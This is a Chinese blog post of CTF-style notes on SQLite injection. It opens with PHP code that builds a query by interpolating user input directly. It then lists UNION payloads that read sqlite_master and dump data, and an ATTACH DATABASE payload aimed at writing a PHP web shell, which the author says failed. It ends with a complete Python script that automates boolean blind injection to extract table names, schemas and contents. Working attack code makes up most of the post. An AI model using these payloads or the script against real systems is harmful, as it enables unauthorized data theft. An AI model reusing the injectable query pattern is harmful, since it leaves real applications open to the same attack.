sqlite注入以及PHP使用sqlite笔记

前言

之前比赛被sqlite注入坑了,网上能找到的资料比较少,不过已经足够了,在此做一下笔记。

PHP使用SQLITE

  • 连接数据库

PHP中自带处理sqlite的类,要使用直接继承SQLite3类然后重写构造方法__construct()指定db文件

class MyDB extends SQLite3
   {
      function __construct()
      {
         $this->open('test.db');
      }
   }

实例化类,判断是否连接成功

$db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }
  • 执行SQL语句,以查询为例,其他与mysql无异。
$sql =<<<EOF
      SELECT * from hex where id = '$id';
EOF;
$result = $db->query($sql);
$data = $result->fetchArray(SQLITE3_ASSOC);
echo $data['hex'];

SQLITE的注入

UNION联合注入
  • sqlite3和mysql5.5以后一样存在一个表记录了数据库和表的信息。

894761-20160811111720934-461357319

  • 可以看到记录了表名,表结构,那么我们就可以直接通过这个隐藏表来查询sqlite数据库里面的表名。
http://127.0.0.1/?id=-1' union select 1,(select group_concat(name)from sqlite_master)--+

img

  • 查看表结构
    http://127.0.0.1/?id=-1' union select 1,(select group_concat(sql)from sqlite_master where name='flag')--+

img

  • 查看数据
    http://127.0.0.1/?id=-1' union select 1,(select group_concat(flag)from flag where id='1')--+

img

  • 写文件(实验失败)
http://127.0.0.1/?id=1';ATTACH DATABASE 'E:\\phpStudy\\PHPTutorial\\WWW\\xiaozi.php' AS pwn ; CREATE TABLE pwn.exp (dataz text) ; INSERT INTO pwn.exp (dataz) VALUES (' <?php phpinfo(); ?> '); --
盲注

bool盲注:

  • 检测表的个数
' and  (select COUNT(name) from sqlite_master where type='table')=表的个数
  • payload解释

    COUNT()检测表的个数,用于爆破表个数

  • 自动检测脚本编写

def tables_count(self):
            for i in range(1,255):
                payload = self.url + "' and  (select COUNT(name) from sqlite_master where type='table')=%d --+"%(i)
                result = self.r.get(payload)
                if result.text == self.contents:
                    print('Tables count is %d'%(i))

  • 检测表名长度
' and  (select LENGTH(name) from sqlite_master where type='table' limit 第几个表名,1)=长度 --+
  • payload解释

    LENGTH()用于检测字符串长度,limit限定第一条数据以爆破字符长度

  • 自动检测脚本demo

def table_name_len(self,count):
            for j in range(0,count):
                for i in range(1,255):
                    payload = self.url + "' and  (select LENGTH(name) from sqlite_master where type='table' limit %d,1)=%d --+"%(j,i)
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        print('Tables(%d) name length is %d'%(j,i))
  • 爆表名
?id=1' and  substr((select name from sqlite_master where type='table' limit 0,1),1,1)='f' --+
或者
?id=1' and  substr((select name from sqlite_master where type='table' limit 0,1),1,1) like 'a' --+
  • payload解释
substr((payload),第几位,步长)
例如:
substr((payload),1,1)='f' --判断第一位字符是不是f
  • 自动脚本编写
def table_name(self,count,num):
            tablename = ''
            for j in range(count):
                for i in range(40,125):
                    payload = self.url + "'and  substr((select name from sqlite_master where type='table' limit %d,1),%d,1)='%s' --+"%(num,j,str(chr(i)))
                    result=self.r.get(payload)
                    if result.text == self.contents:
                        tablename = tablename +str(chr(i))
            self.table_structure(tablename)
            print('Tables (%d) name is %s'%(num,tablename))
  • 爆表结构

    爆表结构也就是爆sqlite_master的sql字段,与爆表名类似

  • 自动脚本编写

    def table_structure(self,tablename):
              tablecolums = ''
              for i in range(1,255):
                      payload = self.url + "' and  (select LENGTH(sql) from sqlite_master where name='%s' )=%d --+"%(tablename,i)
                      result = self.r.get(payload)
                      if result.text == self.contents:
                          len_sql=i
              for j in range(len_sql+1):
                  for i in range(40,125):
                      payload = self.url + "'and  substr((select sql from sqlite_master where name='%s'),%d,1)='%s' --+"%(tablename,j,str(chr(i)))    
                      result=self.r.get(payload)
                      if result.text == self.contents:
                          tablecolums = tablecolums +str(chr(i))
              print(tablecolums)            
  • 爆数据

    爆数据也就是得知表结构之后,直接爆破对应的表名和表字段。

def get_data(self,colums,table):
            data=''
            for i in range(1,255):
                    payload = self.url + "' and  (select LENGTH(group_concat(%s)) from %s )=%d --+"%(colums,table,i)
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        len_data=i
                        sys.stdout.write('\r'+'[*]Payload:'+payload)
                    sys.stdout.flush()

            for j in range(len_data+1):
                for i in range(40,125):
                    payload = self.url + "'and  substr((select group_concat(%s) from %s),%d,1)='%s' --+"%(colums,table,j,str(chr(i)))    
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        data = data +str(chr(i))
                        sys.stdout.write('\r'+self.OKGREEN+'[*]Payload:'+payload)
                    else:
                        sys.stdout.write('\r'+self.FAIL+'[*]Payload:'+payload)
                    sys.stdout.flush()
            print('\n'+self.OKGREEN+'Data: '+data)
  • 整合脚本:
import requests
import sys
class sqlite3inject:
        r =''
        contents =''
        url =''
        HEADER = '\033[95m'
        OKBLUE = '\033[94m'
        OKGREEN = '\033[92m'
        WARNING = '\033[93m'
        FAIL = '\033[91m'
        ENDC = '\033[0m'        
        def __init__(self,url):
            self.url = url
            self.r = requests.session()
            self.contents = (self.r.get(self.url)).text

        def get_data(self,colums,table):
            data=''
            for i in range(1,255):
                    payload = self.url + "' and  (select LENGTH(group_concat(%s)) from %s )=%d --+"%(colums,table,i)
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        len_data=i
                        sys.stdout.write('\r'+'[*]Payload:'+payload)
                    sys.stdout.flush()

            for j in range(len_data+1):
                for i in range(40,125):
                    payload = self.url + "'and  substr((select group_concat(%s) from %s),%d,1)='%s' --+"%(colums,table,j,str(chr(i)))    
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        data = data +str(chr(i))
                        sys.stdout.write('\r'+self.OKGREEN+'[*]Payload:'+payload)
                    else:
                        sys.stdout.write('\r'+self.FAIL+'[*]Payload:'+payload)
                    sys.stdout.flush()
            print('\n'+self.OKGREEN+'Data: '+data)

        def table_structure(self,tablename):
            tablecolums = ''
            for i in range(1,255):
                    payload = self.url + "' and  (select LENGTH(sql) from sqlite_master where name='%s' )=%d --+"%(tablename,i)
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        len_sql=i
            for j in range(len_sql+1):
                for i in range(40,125):
                    payload = self.url + "'and  substr((select sql from sqlite_master where name='%s'),%d,1)='%s' --+"%(tablename,j,str(chr(i)))    
                    result=self.r.get(payload)
                    if result.text == self.contents:
                        tablecolums = tablecolums +str(chr(i))
            print(tablecolums)            
        def table_name(self,count,num):
            tablename = ''
            for j in range(count):
                for i in range(40,125):
                    payload = self.url + "'and  substr((select name from sqlite_master where type='table' limit %d,1),%d,1)='%s' --+"%(num,j,str(chr(i)))
                    result=self.r.get(payload)
                    if result.text == self.contents:
                        tablename = tablename +str(chr(i))
            self.table_structure(tablename)
            print('Tables (%d) name is %s'%(num,tablename))

        def table_name_len(self,count):
            for j in range(0,count):
                for i in range(1,255):
                    payload = self.url + "' and  (select LENGTH(name) from sqlite_master where type='table' limit %d,1)=%d --+"%(j,i)
                    result = self.r.get(payload)
                    if result.text == self.contents:
                        print('Tables(%d) name length is %d'%(j,i))
                        self.table_name(i+1,j)


        def tables_count(self):
            for i in range(1,255):
                payload = self.url + "' and  (select COUNT(name) from sqlite_master where type='table')=%d --+"%(i)
                result = self.r.get(payload)
                if result.text == self.contents:
                    print('Tables count is %d'%(i))
                    return self.table_name_len(i)

inject = sqlite3inject('http://127.0.0.1/?id=1')        
inject.tables_count()
  • 测试效果

img

本文总阅读量
× 文章目录
  1. 1. 前言
  2. 2. PHP使用SQLITE
  3. 3. SQLITE的注入
    1. 3.0.1. UNION联合注入
    2. 3.0.2. 盲注